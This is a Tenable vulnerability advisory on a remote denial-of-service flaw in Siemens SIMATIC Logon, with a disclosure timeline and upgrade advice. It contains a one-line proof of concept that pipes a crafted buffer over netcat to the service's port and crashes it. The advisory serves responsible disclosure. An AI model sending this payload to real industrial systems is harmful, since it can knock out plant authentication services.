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[R1] Siemens SIMATIC Logon Denial of Service

Medium

Synopsis

While investigating CVE-2017-2684 we found a new unauthenticated remote denial of service vulnerability in slra_servicex.exe. The denial of service occurs due to an out of bounds write in a logging function. In the function, a 508 byte storage buffer is passed to vswprintf_s along with user provided data. Sufficiently large input will trigger the vulnerability.

The following can be used as a proof of concept.

[[email protected] inp]$ python -c "print '\x00\x54\x4c\x53\x00\x00\x00\x01''\x00'*48'\x00\x00\x00\x01\x00\x00\x04\x00'+'A'*0x408" | tr -d '\n' | nc 192.168.1.123 16389

The proof of concept will generate the following error.

0:002> .lastevent
Last event: d1c.33c: Exit thread 2:33c, code c0000417
debugger time: Tue Feb 28 13:28:10.802 2017 (UTC - 5:00)
0:002> !error c0000417
Error code: (NTSTATUS) 0xc0000417 (3221226519) - An invalid parameter was passed to a C runtime function.

Solution

Upgrade to SIMATIC Logon 1.6 or newer

Disclosure Timeline

2017-03-07 - Issue discovered
2017-03-17 - Issue reported to vendor via [email protected]
2017-03-20 - Vendor acks, assigns S-PCERT#80092 for tracking
2017-03-29 - Vendor says they can reproduce our findings, working on mitigation and timeline
2017-04-24 - Vendor says Dev working on a fix, will keep us updated
2017-07-06 - Siemens releases advisory
2017-07-11 - ICS-Cert releases advisory

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

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